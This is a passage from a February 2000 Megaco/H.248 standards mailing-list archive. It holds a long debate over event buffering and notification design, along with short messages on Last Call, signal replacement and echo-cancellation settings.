> > I believe TD-58 provides that middle ground. As for the
> > usefulness I can only
> > point to MGCP experience which truly is the only experience
> > we have in this
> > area. The experience we have there, is that the mechanism is
> > sufficient. To give
> > you some justification, I can (again) point you to, say MF
> > trunking where I know
> > of one example that took advantage of the combination of
> > "Accumulate" and
> > "Notify" action. There has also been some preliminary work
> > done on scripting,
> > and having a hard-coded Notify in the event handling would
> > have been disastrous.
> >
> > >
> > >
> > > I have asked for an example of a system which needed some
> > events buffered,
> > > but others notified immediately, along with the buffer.
> > > What you have provided in response is a "good design principals"
> > > argument.  Simplicity is a good design principal.
> >
> > You are mixing two separate issues (or leaving out the main point).
> >
> > The first (and most important) issue is that I have a
> > fundamental desire to
> > provide a mechanism that allows the MG to some local processing. Can I
> > demonstrate an absolutely need for this ? Of course not, it's
> > an optimization,
> > just like digit maps, pending responses, etc. are an
> > optimization. Now I happen
> > to believe (and have argued why several times now) that enabling local
> > processing in the MG is very important, and the protocol
> > absolutely must be
> > designed with this in mind. Its good to simplify, but not to
> > oversimplify.
> >
> > The second issue is whether a given MGC-MG relationship can
> > ever have a need to
> > sometimes Notify all events at once, and sometimes notify
> > them in lock-step.
> > This is where I apply the good design principle. Again, you
> > are asking for a
> > *necessity* example, well that's going to be hard for the
> > same reasons as above.
> > I see this property as enabling simplified MGC's and allowing for some
> > flexibility in when you want to enable local MG processing
> > and when you will
> > not.
> >
> > The fundamental problem I am having with this discussion, is
> > that you cannot (or
> > at least have not) explained a single problem with the TD-58
> > mechanism, but
> > regardless you come up with a new mechanism. Whatever
> > limitation I desribe with
> > this new mechanism is simply addressed as something you can't
> > imagine being
> > useful (at least not necessary). Now, Brian you know I have a
> > lot of respect for
> > you, but having the protocol limited by your imagination when
> > seemingly good
> > alternatives exist in TD-58 is (with all due respect) simply
> > not the way to do
> > it. I ask you one more time to explain to me exactly what the
> > problem with TD-58
> > (details or requirements ) is ?
> >
> >
> > >
> > >
> > > The rest is details; we can handle that if there is consensus
> > > on the requirements.
> >
> > I'm not sure there is, but it's probably a good idea to have
> > two separate
> > threads on this one. Maybe we should start with the Megaco
> > requirements, e.g.
> > Section 5.4:
> >
> > "The Protocol must:
> > ...
> > c.   Allow reporting of detected events on the MG to the MGC.
> > The proto-
> >      col should provide the means to minimize the messaging
> > required to
> >      report commonly-occurring event sequences.
> >
> > d.   Allow the MGC to specify other actions (besides
> > reporting) that the
> >      MG should take upon detection of specified events."
> >
> >
> > I don't really see v14 event handling satisfying these,
> > however TD-58 certainly
> > does.
> >
> >
> > -- Flemming
> >
> >
> > >
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > Sent: Tuesday, February 08, 2000 10:27 AM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Cisco SG16: Keep Active
> > > >
> > > >
> > > > Brian
> > > >
> > > > Thanks for your detailed response - a detailed answer follows
> > > > below. To
> > > > summarize for those that do not feel like going through all
> > > > the details here:
> > > > 1. I still see significant drawbacks with the v14 scheme
> > > > 2. I do not see those drawbacks with the TD-58 scheme
> > > > 3. I have seen no advantages being offered with the v14
> > > > scheme compared to the
> > > > TD-58 scheme
> > > >
> > > > and consequently I must ask for the TD-58 scheme to be reinstated.
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > Thank you for taking the time to go through your issues.
> > > > > I only wish you had done so two months ago!  Before dealing with
> > > > > specifics, there is one aspect of the current mechanism you seem
> > > > > to have misinterpreted.  When EventBuffering is ON,
> > events detected
> > > > > are compared against the EventBuffer Descriptor, not the
> > > > Events Descriptor.
> > > >
> > > > You are right. While that addresses one specific comment
> > > > below, it does not
> > > > solve the fundamental problems though.
> > > >
> > > > >
> > > > >
> > > > > ...snip...
> > > > > > The current event handling mechanism in Megaco/H248 v14 can
> > > > > > be viewed as
> > > > > > three processes that all interact. Events can be viewed as
> > > > > > always being
> > > > > > added to an event buffer (a FIFO queue) by an Event
> > > > Detection process.
> > > > >
> > > > > > Another Event Processing process then removes these events
> > > > > > from the FIFO
> > > > > > queue. When a notification is sent, this process may block,
> > > > > > waiting for a
> > > > > > new Events Descriptor to be received. Events detected
> > > > > > meanwhile will simply
> > > > > > be added to the FIFO queue. Finally, whenever a new
> > > > > > Events Descriptor is
> > > > > > received the third process runs. This process determines the
> > > > > > fate of events
> > > > > > of events sitting in the FIFO queue, and installs a new
> > > > > > Events Descriptor.
> > > > > >
> > > > > > The processes are illustrated in pseudo-code below
> > > > > >
> > > > > > Process 1: Event Detection
> > > > > > ===================
> > > > > > do {
> > > > > > 
> > > > > > if < event in current Events Descriptor> then   /* current
> > > > > > Events Descriptor
> > > > > > */
> > > > > >   
> > > > > >  else
> > > > > >   
> > > > > > } forever
> > > > > The buffering process does not always buffer events.  In most
> > > >
> > > > Like I said, one way of viewing the procedure is the way I
> > > > describe it. This is
> > > > classic producer-consumer problem we are looking at here.
> > > >
> > > >
> > > > >
> > > > > cases, it immediately Notifies.  The decision process is:
> > > > >         If EventBuffering is On,
> > > > >                 If no events have been detected
> > > > >                         ; the first event is
> > immediately processed
> > > > >                         If it is in Events Descriptor
> > > > >                                 Notify immediately
> > > > >                         Else
> > > > >                                 discard
> > > > >                 Else
> > > > >                         If it is in EventBuffer Descriptor
> > > > >                                 place in the buffer
> > > > >                         Else
> > > > >                                 discard
> > > > >         Else
> > > > >                 If the event is in Events Descriptor
> > > > >                         Notify immediately
> > > > >                 Else
> > > > >                         discard
> > > > >
> > > > > To be really precise, it's possible that an event will occur
> > > > > while another event is being processed when
> > EventBuffering is Off,
> > > > > and you could consider the second event in some kind of buffer.
> > > >
> > > > > I personally wouldn't - if it made it before I finished
> > the Notify,
> > > >
> > > > > I'd add it to the Notify in process.  If it was after,
> > I'd just hold
> > > > > off processing it until I was done.
> > > >
> > > > That's not what the current text specifies, so if this is the
> > > > behavior you want
> > > > the text should be changed accordingly.
> > > >
> > > >
> > > > >
> > > > >
> > > > >
> > > > > >
> > > > > > Process 2: Event Processing
> > > > > > ===================
> > > > > > do {
> > > > > >  < wait for event in event buffer>
> > > > > >  < remove first event from event buffer>
> > > > > >  if  then {
> > > > > >   Notify(event)
> > > > > >   if  (Eventbuffer = "on") then  /* current Events
> > Descriptor */
> > > > > >    
> > > > > >  }
> > > > > > } forever
> > > > > I'd say this process doesn't exist
> > > >
> > > > Depends on how you look at it. Like I said, this is one way
> > > > of looking at it. It
> > > > achieves precisely the same as your algorithm above
> > > >
> > > > >
> > > > >
> > > > > > Process 3: New Event Descriptor
> > > > > > =======================
> > > > > > if    /* new EventsDescritpr */
> > > > > >  
> > > > > > 
> > > > > This is incorrect.  The first part is correct (clear
> > eventBuffer if
> > > > > EventBuffering is off).  The second part is:
> > > > >   Else
> > > > >         While EventBuffer has any events
> > > > >                 If Event is in new Events Descriptor
> > > > >                         Notify this event
> > > > >                         Exit loop
> > > > >                 Else
> > > > >                         discard
> > > > >         End Loop
> > > >
> > > > No. Take another look at process 2, which is my consumer
> > > > process. The effect is
> > > > precisly what you have specified, however all of these are
> > > > really besides the
> > > > point.
> > > >
> > > > >
> > > > >
> > > > > >
> > > > > > Unfortunately, this mechanism suffers from some drawbacks,
> > > > > > especially when
> > > > > > compared to the mechanism that was specified in TD-58 after
> > > > > > the Red Bank
> > > > > > meeting:
> > > > > >
> > > > > > 1. Events to be detected in process 1 are always determined
> > > > > > by the current
> > > > > > Events Descriptor. This is an unfortunate restriction
> > > > which may prevent
> > > > > > detection of events that arrive more rapidly than the
> > round-trip +
> > > > > > processing time. For example, an application may initially
> > > > > > wish to detect
> > > > > > seizure, and subsequently detect a wink or unseizure. Unless
> > > > > > all events are
> > > > > > requested at the same time (which would effectively prevent
> > > > > > glare detection)
> > > > > > detection of all these events could not be guaranteed.
> > > > > This is incorrect, there are two masks -- Events Descriptor and
> > > > > BufferedEvents Descriptor.  The former determines what
> > is notified,
> > > > > the latter determines what is buffered.
> > > >
> > > > You're right. I believe it would be preferable to determine
> > > > events to be
> > > > detected based on the union of Events Descriptor and
> > > > BufferedEvents Descriptor
> > > > though.
> > > >
> > > > >
> > > > >
> > > > > Seizure would be Events Descriptor, Unseizure and wink would be
> > > > > in BufferedEvents Descriptor.  Alternatively, you could use an
> > > > > embedded Events Descriptor.
> > > >
> > > > For this specific case - maybe. It is not a general solution
> > > > to the problem
> > > > though (BufferedEvents Descriptor on the other hand is).
> > > >
> > > > >
> > > > >
> > > > > > What is needed, is an extra parameter to specify what events
> > > > > > to detect (as
> > > > > > opposed to process) during event buffering. Preferably, this
> > > > > > set of events
> > > > > > would be determined based on the union of this parameter and
> > > > > > the current
> > > > > > Events Descriptor.
> > > > > As specified, we "detect" (I would say buffer) events in
> > > > > BufferedEvents, and we "process" (I would say Notify) events in
> > > > > Events Descriptor.  We could specify that detect is based on the
> > > > > union of BufferedEvents and Events, but it's a little late for
> > > > > optimizations (if it really is what we want, I would think not).
> > > > >
> > > > > >
> > > > > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > > > > shall normally
> > > > > > only be one outstanding Notify per termination. A queue of
> > > > > > Notify to be sent
> > > > > > may consequently build up at the sender side thereby
> > > > > > - Incurring event delivery delay when the event arrival rate
> > > > > > exceeds the
> > > > > > MG-MGC roundtrip time.
> > > > > > - Limiting the average event arrival rate to the MG-MGC
> > > > > > roundtrip time (best
> > > > > > case).
> > > > > This may be true if EventBuffering is On, but is not true if
> > > > > EventBuffering is off.  In the latter case, events are
> > Notified as
> > > > > they are detected, and no response from the MGC is required.
> > > >
> > > > That is completely inconsistent with the current text.
> > > > Section 9.1 specifies
> > > > that:
> > > >
> > > >     "On a given Termination, there should normally be at most
> > > > one outstanding
> > > > Notify command at any time.  The RequestId parameter should
> > > > be used to correlate
> > > > Notify commands with the triggering notification request."
> > > >
> > > > What you are suggesting is that we just send the Notify's as
> > > > fast as we can. The
> > > > problem with this is that you cannot guarantee in-order
> > > > (delivery of these
> > > > messages) which means we no longer have event ordering in
> > the system.
> > > >
> > > > >
> > > > > In the former case, this is precisely what is required.
> > > > The point of
> > > > > buffering events is that once an event is detected, the
> > MG doesn't
> > > > > know what the MGC wants next; it has to wait to be
> > told.  Meanwhile,
> > > > > it buffers events the MGC told it it MIGHT want to see.
> > > > When it gets
> > > > > a new event descriptor, it can send ONE event, but then it
> > > > is back in
> > > > > the same state - what does the MGC want to do next?
> > > >
> > > > We are in absolute agreement here. One underlying "problem"
> > > > however is that the
> > > > MGC will only be able to request a single event. With the
> > > > TD-58 solution you
> > > > could have requested a whole sequence of events potentially.
> > > >
> > > > >
> > > > >
> > > > > Note that this condition should be very rare - events
> > > > happen at human
> > > > > speed in most cases, and computers are fast.  Even in
> > large trunk
> > > > > gateways, the MGC better be able to keep up with the
> > event stream by
> > > > > a whole lot more than a round trip time!
> > > >
> > > > That is a very dangerous assumption which even now doesn't
> > > > hold. Think about
> > > > auto-dialers, MF trunking, etc. Events happen a lot faster
> > > > than human speed
> > > > (which is why you added digit maps). Do you feel confident in
> > > > assuming that this
> > > > is the only case where this is needed ?
> > > >
> > > > As for your second point about MGC being able to keep up with
> > > > event arrival
> > > > rates significantly below network round trip time we are in
> > > > complete agreement,
> > > > and that is precisely my point. Your mechanism has an
> > > > inherent rate limitation
> > > > built into it, and that rate limiation is based on the
> > > > network round-trip time
> > > > for every thing where you don't apply some special mechanism
> > > > (like digit maps).
> > > > This mechanism is basic and belongs in the base protocol!
> > > >
> > > >
> > > > >
> > > > >
> > > > > > TD-58 from Red Bank did not have this limitation. First of
> > > > > > all, the MGC had
> > > > > > the various "accumulate" actions that were designed to
> > > > > > prevent this problem
> > > > > > and limit bandwidth and CPU overhead.
> > > > > It had a per event decision of Notify, Accumulate or process by
> > > > > digitmap.  We have all of those.
> > > >
> > > > Then I've misunderstood something. Where do you have
> > accumulate now ?
> > > >
> > > > >
> > > > >
> > > > > >Secondly, (assuming
> > > > > > MGCP semantics) it
> > > > > > would be possible for the MG to try and empty the EventBuffer
> > > > > > in a single
> > > > > > message based on the current Events Descriptor (arguably, a
> > > > > > parameter to
> > > > > > explicitly allow/disallow this behavior would be beneficial).
> > > > > No one has ever described a scenario where it was once
> > > > unacceptable to send
> > > > > all events, but something occurs which makes it possible to
> > > > send all events
> > > > > in the buffer.  This seems unlikely
> > > > >         Either the MGC is able to run it's own state machine and
> > > > >                 it can handle events whenever they are detected
> > > > >         OR
> > > > >         The MGC has a simplistic view, and can only
> > deal with the MG
> > > > >                 and itself being in lockstep
> > > > >
> > > >
> > > > You are making dangerous assumptions again. Experience has
> > > > taught me that proper
> > > > design rather than current perception and imagination is by
> > > > far the better
> > > > approach.
> > > >
> > > >
> > > > >
> > > > > >
> > > > > > 3. There is a dual use of the Eventbuffer parameter which is
> > > > > > unfortunate.
> > > > > > Following a Notify where the Eventbuffer was "on", there is
> > > > > > no way for the
> > > > > > MGC to subsequently request that
> > > > > > a) All the currently buffered events should be processed
> > > > > > b) Future events should not be buffered events but simply
> > > > > > sent immediately
> > > > > This is the same as above.  Somehow, the MGC couldn't handle all
> > > > > events, and now it can.  How can this be?
> > > > > I would be willing, I suppose, to allow this (that is,
> > have some way
> > > > > to empty the Event Buffer by Notify rather than just
> > clearing it),
> > > > > but no one has been able to come up with a really interesting
> > > > > case where the MG flips EventBuffering on and off.  I
> > expect it will
> > > > > set it one way and leave it.
> > > >
> > > > Same comment as above. I would much prefer proper design
> > > > instead assumptions
> > > > which may or may not hold down the road.
> > > >
> > > > >
> > > > >
> > > > > Please cite an interesting case where some events should be
> > > > buffered,
> > > > > but there comes an event where the buffer should be sent all at
> > > > > once (and where it is unacceptable to send the events as they
> > > > > are detected).
> > > >
> > > > Same comment as above.
> > > >
> > > >
> > > > >
> > > > >
> > > > > > A simple solution to this problem would be to separate the
> > > > > > parameter into
> > > > > > two, which is precisely what the BufferedEventProcessingMode
> > > > > > in TD-58 did.
> > > > > Covered above, although no one could ever precisely explain
> > > > to those of us
> > > > > who sat through countless hours of discussion and email
> > > > what the 4 states of
> > > > > two variables were used for.
> > > > >
> > > >
> > > > I disagree. Experience will tell us who is right. With my
> > > > approch we can't
> > > > loose, with yours we certainly can.
> > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Finally, from a design perspective, the above solution
> > > > contains some
> > > > > > fundamentally undesirable properties. Most problematic is the
> > > > > > hard-coded
> > > > > > Notify of events which effectively provides a stimulus based
> > > > > > approach to
> > > > > > event handling with none or little future support for
> > > > scripting. It
> > > > > > effectively prevents us from taking advantage of more
> > powerful and
> > > > > > sophisticated MGs that are able to do some amount of
> > > > local processing
> > > > > > thereby
> > > > > > - reducing bandwidth requirements
> > > > > > - reducing MGC processing requirements (and complexity)
> > > > > > - improves responsiveness as the network round-trip does
> > > > not become a
> > > > > > bottleneck
> > > > > > Opponents to this point of view may claim, that packages with
> > > > > > new events,
> > > > > > signals, and properties can be defined that effectively
> > > > > > achieve the above,
> > > > > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > > > > indeed the case
> > > > > > (and there are valid use cases for such), the point that
> > > > > > needs to be made,
> > > > > > is that the mechanisms are basic and of such high value that
> > > > > > they should be
> > > > > > supported natively rather than only by higher level
> > > > > > mechanisms which may or
> > > > > > may not be able to interact with each other. Consider for
> > > > example the
> > > > > > current DTMF detection scheme. As a consequence of the higher
> > > > > > layer approach
> > > > > > taken, it is not able to report incoming DTMF digits and
> > > > > > other inter-twined
> > > > > > events in the correct order, since the DTMF detection
> > > > > > mechanism must itself
> > > > > > be exactly one event (digit map completion). Another
> > > > example is the
> > > > > > interaction with signal interruption, e.g. dial-tone.
> > > > Again, special
> > > > > > consideration (define it to take place on the first digit) is
> > > > > > needed to
> > > > > > achieve the desired behavior although the event really has
> > > > > > not occurred yet.
> > > > > Scripting is, as you know, a version 2 problem.
> > > > Presumably, scripting need
> > > > > not limit itself to the same view of events, or more
> > > > precisely, it would
> > > > > probably handle event detection as they occurred, and
> > > > generate Notifies (if
> > > > > appropriate), whenever the script decided to.  I would
> > > > allow scripts to run
> > > > > on detection, allow them to put events in the buffer, and
> > > > allow them to run
> > > > > on Notify (which would include allowing the Notify script
> > > > to paw through the
> > > > > buffer).
> > > >
> > > > Yes I know. What you are telling me know, is that yes, the
> > > > current event
> > > > handling mechanism is probably not adequate for scripting and
> > > > you would do
> > > > something special, e.g. not perform the hard-coded Notify we
> > > > saw above. What
> > > > about interaction between different schemes, consistency,
> > > > ease of understanding,
> > > > etc. This looks very flaky to me and that is precisely my point.
> > > >
> > > >
> > > > >
> > > > > > Such requirements for special treatment and consideration
> > > > are simply
> > > > > > evidence of lack of generality that should not show up at
> > > > > > this stage. The
> > > > > > solution specified in TD-58 from Red Bank did not suffer
> > > > from these
> > > > > > drawbacks.
> > > > > Disagree as per above
> > > >
> > > > You are going to have to explain the drawbacks of TD-58 to
> > > > me. I have now
> > > > offered you drawbacks with the v14 scheme. Considering that I
> > > > have not seen you
> > > > (or anyone else for that matter) explain any kind of
> > > > drawbacks with the TD-58
> > > > scheme and that I have shown several drawbacks with the v14
> > > > scheme, I think it
> > > > is your turn to explain the problems with TD-58 now. You have
> > > > been very adament
> > > > about not making changes without any good reason, so I would
> > > > like to see that
> > > > same rule applied to TD-58.
> > > >
> > > >
> > > >
> > > > >
> > > > > >
> > > > > > Some additional comments below
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > Coming out of Red Bank there was NO consensus on Events,
> > > > > > > there was in fact wide disagreement on events.
> > Coming out of
> > > > > > > Washington, there was NO consensus on events, there
> > was in fact
> > > > > > > wide disagreement on events.  The proposal we have
> > in V13 was
> > > > > > > an attempt to fix what people saw as problems in the event
> > > > > > > mechanism.
> > > > > > >
> > > > > > > In Red Bank, no one could explain how the MGCP
> > mechanism works.
> > > > > > > In Washington, several people attempted to explain
> > how it works
> > > > > > > (Christian Huitema was not there for that session).
> >  Today in
> > > > > > > fact, I'll bet you if you ask 10 people who claim they
> > > > understand
> > > > > > > how the MGCP mechanism works, you would get several answers,
> > > > > > > although I would grant you that there is not a lot
> > of variation
> > > > > > > in the implementations.  The V13 mechanism was not
> > > > comprehensible
> > > > > > > to anyone in the design meetings in Washington or Red Bank.
> > > > > >
> > > > > > If understanding the MGCP mechanism is the real problem, then
> > > > > > I'm sure we
> > > > > > can get the right people to clarify. Having spent a lot of
> > > > > > time on this
> > > > > > (admittedly confusing) aspect myself, I can certainly
> > > > offer my help if
> > > > > > needed. As for a general lack of understanding of the
> > > > > > mechanism I think you
> > > > > > are exagerating. There may be small details here and
> > > > there that people
> > > > > > interpret differently, but I bet you any mechanism you
> > > > > > specify will suffer
> > > > > > from this, including yours.
> > > > >
> > > > > Flemming, there are a core of about 5 people who sat
> > and argued and
> > > > > questioned and puzzled about the MGCP mechanism over two
> > > > IETF meetings, the
> > > > > Red Bank meeting and the email list.  Check the archives -
> > > > there are lots of
> > > > > messages that attempt to explain how the MGCP mechanism
> > > > works.  No two
> > > > > people agreed.  I asked 4 people who said they were part of
> > > > implementation
> > > > > teams.  They all explained it differently, although it
> > > > seems that they
> > > > > implemented it close to the same thing.  I believe the MGCP
> > > > text is poorly
> > > > > written, poorly understood.  AND, even when people more or
> > > > less explained
> > > > > how it worked, they were totally unable to explain how you
> > > > would use it.
> > > >
> > > > I'm not talking about MGCP, I'm talking about TD-58. You are
> > > > the editor and have
> > > > done an outstanding job under some very different
> > > > circumstances. If there is
> > > > text that needs clarification, well then clarify it, don't
> > > > scratch the mechanism
> > > > and rewrite it from scratch.
> > > >
> > > > What if I ask you to explain how multimedia and streams work
> > > > and whether they
> > > > are indeed adequate for what we want to do. I bet you will
> > > > have a very tough
> > > > time (I know since you've stated your concerns on this issue
> > > > several times)
> > > > doing that, but that doesn't meen you just rewrite it, right ?
> > > >
> > > > In any case, we are drifting away from the technical points,
> > > > which is what I
> > > > want to focus on. Bottom line is, that I strongly believe the
> > > > TD-58 scheme was
> > > > better than what we now have in v14. Based on all of the
> > > > above and in the
> > > > absence of you explaining any problems with the TD-58
> > mechanism and
> > > > demonstrating adva


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:24:11 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14839
	for ; Wed, 9 Feb 2000 13:24:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.41494BA0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:19:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35787 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:17:21 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.998DA600@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          13:07:21 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA26218; Wed, 9 Feb 2000 19:09:44 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA26029;
          Wed, 9 Feb 2000 19:09:44 +0100
Received: from ericsson.com ([146.11.7.157]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA08097; Wed, 9 Feb 2000
          19:09:36 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A1AD62.1592700@ericsson.com>
Date:         Wed, 9 Feb 2000 19:09:38 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Last Call
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom, et all,

I support last call. I think that we come a long way with H.248 and now
is the time to place a stake in the ground so that people have a mature
static target to implement against. New functionality we can take in
CS2.

Cheers, Christian

Tom-PT Taylor wrote:
>
> If Last Call is to have anything meaning at all, it must be conducted during
> the present SG 16 meeting.
>
> Nancy is about to put MegacoH248v15 on the site.  I invite Last Call
> comments based on this version of the document.  We can recycle as necessary
> to reflect decisions taken.
>
> Sorry for not drawing the line in early December, when (in hindsight) we
> might have done things more cleanly.
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:38:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15777
	for ; Wed, 9 Feb 2000 13:38:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.83EADF80@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:35:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35986 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:33:28 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.3F50EC20@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:33:27
          -0500
Received: from worldnet.att.net ([12.78.98.159]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000209183550.SHIN1419@worldnet.att.net>; Wed, 9 Feb 2000 18:35:50
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A1B37D.60C50000@worldnet.att.net>
Date:         Wed, 9 Feb 2000 13:35:41 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Christian Groves wrote:

> To me it makes no sense to draw distinction between the types of signals
> and replacement behaviour.
>
> With the following rules, what behaviour can't you handle?
>
> o You can explicitely define the replacement behaviour using the
>   KEEPACTIVE flag. ie. If on, Signals are not stopped by events

The problem here is, that KeepActive is an event parameter, not a signal parameter. Thus,
let's say I send down an EventsDescriptor looking for off-hook, and a SignalsDescriptor
applying ringing (TO), and vmwi (OO). I don't want my vmwi to be stopped by off-hook, but I
do want ringing to be stopped. How do I do that with the KeepActive flag ?


>
> o Signals can be of a transition type "on->off" or something with
>   duration "plays for x seconds". This does not have to be part of the
>   protocol. Its a characteristic of the tone/message to be played.

It sounds like we are in agreement, so I might be misunderstanding. The protocol defines
certain basic characteristics of different types of signals. Specifically those types are
BR, TO, and OO.

>
> o Using BR,TO,OO controls the number of times that it is "played"

That doesn't achieve all of what we want.

>
>
> Cheers, Christian
>

-- Flemming

<< stuff deleted >>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 14:13:39 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17929
	for ; Wed, 9 Feb 2000 14:13:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6C622580@standards.nortelnetworks.com>; Wed, 9 Feb 2000 14:10:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 36085 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 14:09:25 -0500
Received: from tnint06.telogy.com (209.116.120.7) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.43FB6F20@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          14:09:23 -0500
Received: by TNINT06 with Internet Mail Service (5.5.2448.0) id <1300MKAL>;
          Wed, 9 Feb 2000 14:11:40 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <61891BA043DED21180920090273F17385EDA52@TNINT06>
Date:         Wed, 9 Feb 2000 14:11:36 -0500
Reply-To: Roy Spitzer 
Sender: "Media Gateway Control (megaco)"
              
From: Roy Spitzer 
Subject:      Re: E.13.1 echo cancellation
X-To:         Nancy-M Greene 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Nancy,

There seems to be a terminology problem here.  G.165 and G.168 are echo
cancellation algorithms.  G.164 is an echo suppressor algorithm.  In general
echo cancellators are better than echo suppressors.  Only older style
equipment uses echo suppressors and it only works well for half duplex
communications.  If ec were defined as echo cancellation/echo suppression,
the text is correct.  There does not appear to be an application where echo
suppression and echo cancellation would be simultaneously active.

Regards,
Roy

Roy Spitzer                              Telogy Networks
Phone: 301-515-6531                20250 Century Blvd.
FAX:    301-515-7954                Germantown, MD 20874
email:  rspiter@telogy.com

-----Original Message-----
From: Nancy-M Greene [mailto:ngreene@NORTELNETWORKS.COM]
Sent: Thursday, February 03, 2000 10:53 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: E.13.1 echo cancellation



Errata in v14 E.13.1:
Instead of just allowing Echo Cancellation to be  "on", or "off", we need to
allow these possibilities:

Permanently enabled: "on"
Permanently disabled: "off"
Enabled but conformant to G.165/G.168: "g165"
Enabled but conformant to G.164: "g164"

Default is "g165".


Here is the text to be changed in E.13.1 (in blue, if you see it):

E.13.1  Properties
Echo Cancellation


        PropertyID: ec (0x0008)
By default, the telephony gateways always perform echo cancellation
according to
G.165/G.168. However, it is necessary, for some calls, to turn off these
operations.
Type: enumerated
Possible Values:


        "on" (when the echo cancellation is permanently enabled and will
disregard any
incoming tones)
"g165" (when ec is according to G.165/G.168: ec is on, but will turn
itself off when it sees a 2100Hz tone with phase reversal (i.e. a CED fax
tone, or an
ANS modem tone)
"g164" (when ec is according to G.164)
"off" (when it is turned off.)
The default is "g165".

        Defined In: LocalControlDescriptor
        Characteristics: read/write


Nancy


--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 15:44:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22942
	for ; Wed, 9 Feb 2000 15:44:09 -0500 (EST)
